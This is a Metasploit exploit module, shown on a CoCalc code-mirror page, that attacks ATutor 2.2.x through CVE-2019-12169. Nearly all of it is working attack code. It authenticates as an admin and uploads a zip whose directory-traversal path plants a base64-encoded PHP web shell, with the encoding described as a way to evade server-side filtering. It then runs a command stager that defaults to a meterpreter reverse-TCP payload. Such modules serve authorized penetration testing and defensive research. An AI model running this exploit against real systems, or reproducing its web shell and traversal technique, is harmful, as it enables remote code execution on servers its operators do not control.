CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/atutor_upload_traversal.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::CmdStager
10
include Msf::Exploit::FileDropper
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution, ',
18
'Description' => %q{
19
This module exploits an arbitrary file upload vulnerability together with
20
a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in
21
order to execute arbitrary commands.
22
23
It first creates a zip archive containing a malicious PHP file. The zip
24
archive takes advantage of a directory traversal vulnerability that will
25
cause the PHP file to be dropped in the root server directory (`htdocs`
26
for Windows and `html` for Linux targets). The PHP file contains an
27
encoded payload that allows for remote command execution on the
28
target server. The zip archive can be uploaded via two vectors, the
29
`Import New Language` function and the `Patcher` function. The module
30
first uploads the archive via `Import New Language` and then attempts to
31
execute the payload via an HTTP GET request to the PHP file in the root
32
server directory. If no session is obtained, the module creates another
33
zip archive and attempts exploitation via `Patcher`.
34
35
Valid credentials for an ATutor admin account are required. This module
36
has been successfully tested against ATutor 2.2.4 running on Windows 10
37
(XAMPP server).
38
},
39
'License' => MSF_LICENSE,
40
'Author' => [
41
'liquidsky (JMcPeters)', # PoC
42
'Erik Wynter' # @wyntererik - Metasploit
43
],
44
'References' => [
45
['CVE', '2019-12169'],
46
['URL', 'https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/'] # PoC
47
],
48
'Platform' => %w[linux win],
49
'Arch' => [ ARCH_X86, ARCH_X64 ],
50
'Targets' => [
51
[ 'Auto', {} ],
52
[
53
'Linux', {
54
'Arch' => [ARCH_X86, ARCH_X64],
55
'Platform' => 'linux',
56
'CmdStagerFlavor' => :printf,
57
'DefaultOptions' => {
58
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
59
}
60
}
61
],
62
[
63
'Windows', {
64
'Arch' => [ARCH_X86, ARCH_X64],
65
'Platform' => 'win',
66
'CmdStagerFlavor' => :vbs,
67
'DefaultOptions' => {
68
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
69
}
70
}
71
]
72
],
73
'Privileged' => true,
74
'DisclosureDate' => '2019-05-17',
75
'DefaultOptions' => {
76
'RPORT' => 80,
77
'SSL' => false,
78
'WfsDelay' => 3 # If exploitation via `Import New Language` doesn't work, wait this long before attempting exploiting via `Patcher`
79
},
80
'DefaultTarget' => 0,
81
'Notes' => {
82
'Stability' => [CRASH_SAFE],
83
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
84
'Reliability' => []
85
}
86
)
87
)
88
89
register_options [
90
OptString.new('TARGETURI', [true, 'The base path to ATutor', '/ATutor/']),
91
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
92
OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),
93
OptString.new('FILE_TRAVERSAL_PATH', [false, 'Traversal path to the root server directory.', ''])
94
]
95
end
96
97
def select_target(res)
98
unless res.headers.include? 'Server'
99
print_warning('Could not detect target OS.')
100
return
101
end
102
103
# The ATutor documentation recommends installing it on a XAMPP server.
104
# By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below
105
# Apache probably supports more OS keys, which can be added to the array
106
target_os = res.headers['Server'].split('(')[1].split(')')[0]
107
108
fail_with(Failure::NoTarget, 'Unable to determine target OS') unless target_os
109
110
case target_os
111
when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'
112
@my_target = targets[1]
113
when 'Win32', 'Win64'
114
@my_target = targets[2]
115
else
116
fail_with(Failure::NoTarget, 'No valid target for target OS')
117
end
118
119
print_good("Identified the target OS as #{target_os}.")
120
end
121
122
def check
123
vprint_status('Running check')
124
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
125
126
unless res
127
return CheckCode::Unknown('Connection failed')
128
end
129
130
unless res.code == 302 && res.body.include?('content="ATutor')
131
return CheckCode::Safe('Target is not an ATutor application.')
132
end
133
134
res = login
135
unless res
136
return CheckCode::Unknown('Authentication failed')
137
end
138
139
unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')
140
return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')
141
end
142
143
print_good("Successfully authenticated as user '#{datastore['USERNAME']}'. We have admin privileges!")
144
145
ver_no = nil
146
html = res.get_html_document
147
info = html.search('dd')
148
info.each do |dd|
149
if dd.text.include?('Version')
150
/(?<ver_no>\d+\.\d+\.\d+)/ =~ dd.text
151
end
152
end
153
154
@version = ver_no
155
unless @version && !@version.to_s.empty?
156
return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')
157
end
158
159
@version = Rex::Version.new(@version)
160
unless @version <= Rex::Version.new('2.4')
161
return CheckCode::Unknown("Target is ATutor with version #{@version}.")
162
end
163
164
CheckCode::Appears("Target is ATutor with version #{@version}.")
165
end
166
167
def login
168
hashed_pass = Rex::Text.sha1(datastore['PASSWORD'])
169
@token = Rex::Text.rand_text_alpha_lower(5..8)
170
hashed_pass << @token
171
hash_final = Rex::Text.sha1(hashed_pass)
172
173
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
174
return unless res
175
176
res = send_request_cgi(
177
'method' => 'POST',
178
'uri' => normalize_uri(target_uri.path, 'login.php'),
179
'vars_post' =>
180
{
181
'form_login_action' => 'true',
182
'form_login' => datastore['USERNAME'],
183
'form_password' => '',
184
'form_password_hidden' => hash_final,
185
'token' => @token,
186
'submit' => 'Login'
187
}
188
)
189
190
return unless res
191
192
# from exploits/multi/http/atutor_sqli
193
if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
194
@cookie = "ATutorID=#{Regexp.last_match(4)};"
195
else
196
@cookie = res.get_cookies
197
end
198
199
redirect = URI(res.headers['Location'])
200
res = send_request_cgi({
201
'method' => 'GET',
202
'uri' => normalize_uri(target_uri.path, redirect),
203
'cookie' => @cookie
204
})
205
206
res
207
end
208
209
def patcher_csrf_token(upload_url)
210
res = send_request_cgi({
211
'method' => 'GET',
212
'uri' => upload_url,
213
'cookie' => @cookie
214
})
215
216
unless res && (res.code == 200 || res.code == 302)
217
fail_with(Failure::NoAccess, 'Failed to obtain csrf token.')
218
end
219
220
html = res.get_html_document
221
csrf_token = html.at('input[@name="csrftoken"]')
222
csrf_token = csrf_token['value'] if csrf_token
223
224
max_file_size = html.at('input[@name="MAX_FILE_SIZE"]')
225
max_file_size = max_file_size['value'] if max_file_size
226
227
unless csrf_token && csrf_token.to_s.strip != ''
228
csrf_token = @token # these should be the same because if the token generated by the module during authentication is accepted by the app, it becomes the csrf token
229
end
230
231
unless max_file_size && max_file_size.to_s.strip != ''
232
max_file_size = '52428800' # this seems to be the default value
233
end
234
235
return csrf_token, max_file_size
236
end
237
238
def create_zip_and_upload(exploit)
239
@pl_file = Rex::Text.rand_text_alpha_lower(6..10)
240
@pl_file << '.php'
241
register_file_for_cleanup(@pl_file)
242
@header = Rex::Text.rand_text_alpha_upper(4)
243
@pl_command = Rex::Text.rand_text_alpha_lower(6..10)
244
# encoding is necessary to evade blacklisting on server side
245
@pl_encoded = Rex::Text.encode_base64("\r\n\t\r\n<?php echo passthru($_GET['#{@pl_command}']); ?>\r\n")
246
247
if datastore['FILE_TRAVERSAL_PATH'] && !datastore['FILE_TRAVERSAL_PATH'].empty?
248
@traversal_path = datastore['FILE_TRAVERSAL_PATH']
249
elsif @my_target['Platform'] == 'linux'
250
@traversal_path = '../../../../../../var/www/html/'
251
else
252
# The ATutor documentation recommends Windows users to use a XAMPP server.
253
@traversal_path = '..\\..\\..\\..\\..\\../xampp\\htdocs\\'
254
end
255
256
@traversal_path = "#{@traversal_path}#{@pl_file}"
257
258
# create zip file
259
zip_file = Rex::Zip::Archive.new
260
zip_file.add_file(@traversal_path, "<?php eval(\"?>\".base64_decode(\"#{@pl_encoded}\")); ?>")
261
zip_name = Rex::Text.rand_text_alpha_lower(5..8)
262
zip_name << '.zip'
263
264
post_data = Rex::MIME::Message.new
265
266
# select exploit method
267
if exploit == 'language'
268
print_status('Attempting exploitation via the `Import New Language` function.')
269
upload_url = normalize_uri(target_uri.path, 'mods', '_core', 'languages', 'language_import.php')
270
271
post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{zip_name}\"")
272
post_data.add_part('Import', nil, nil, 'form-data; name="submit"')
273
elsif exploit == 'patcher'
274
print_status('Attempting exploitation via the `Patcher` function.')
275
upload_url = normalize_uri(target_uri.path, 'mods', '_standard', 'patcher', 'index_admin.php')
276
277
patch_info = patcher_csrf_token(upload_url)
278
csrf_token = patch_info[0]
279
max_file_size = patch_info[1]
280
281
post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrftoken"')
282
post_data.add_part(max_file_size, nil, nil, 'form-data; name="MAX_FILE_SIZE"')
283
post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"patchfile\"; filename=\"#{zip_name}\"")
284
post_data.add_part('Install', nil, nil, 'form-data; name="install_upload"')
285
post_data.add_part('1', nil, nil, 'form-data; name="uploading"')
286
else
287
fail_with(Failure::Unknown, 'An error occurred.')
288
end
289
290
res = send_request_cgi({
291
'method' => 'POST',
292
'uri' => upload_url,
293
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
294
'cookie' => @cookie,
295
'headers' => {
296
'Accept-Encoding' => 'gzip,deflate',
297
'Referer' => "http://#{datastore['RHOSTS']}#{upload_url}"
298
},
299
'data' => post_data.to_s
300
})
301
302
unless res
303
fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')
304
end
305
306
unless res.code == 200 || res.code == 302
307
fail_with(Failure::Unknown, 'Failed to upload the payload.')
308
end
309
print_status("Uploaded malicious PHP file #{@pl_file}.")
310
end
311
312
def execute_command(cmd, _opts = {})
313
send_request_cgi({
314
'method' => 'GET',
315
'uri' => normalize_uri(@pl_file),
316
'cookie' => @cookie,
317
'vars_get' => { @pl_command => cmd }
318
})
319
end
320
321
def exploit
322
res = login
323
if target.name == 'Auto'
324
select_target(res)
325
else
326
@my_target = target
327
end
328
329
# There are two vulnerable functions, the `Import New Language` function and the `Patcher` function
330
# The module first attempts to exploit `Import New Language`. If that fails, it tries to exploit `Patcher`
331
create_zip_and_upload('language')
332
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
333
334
if @my_target['Platform'] == 'linux'
335
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
336
else
337
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
338
end
339
sleep(wfs_delay)
340
341
# The only way to know whether or not the exploit succeeded, is by checking if a session was created
342
unless session_created?
343
print_warning('Failed to obtain a session when exploiting `Import New Language`.')
344
create_zip_and_upload('patcher')
345
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
346
if @my_target['Platform'] == 'linux'
347
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
348
else
349
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
350
end
351
end
352
end
353
end
354
355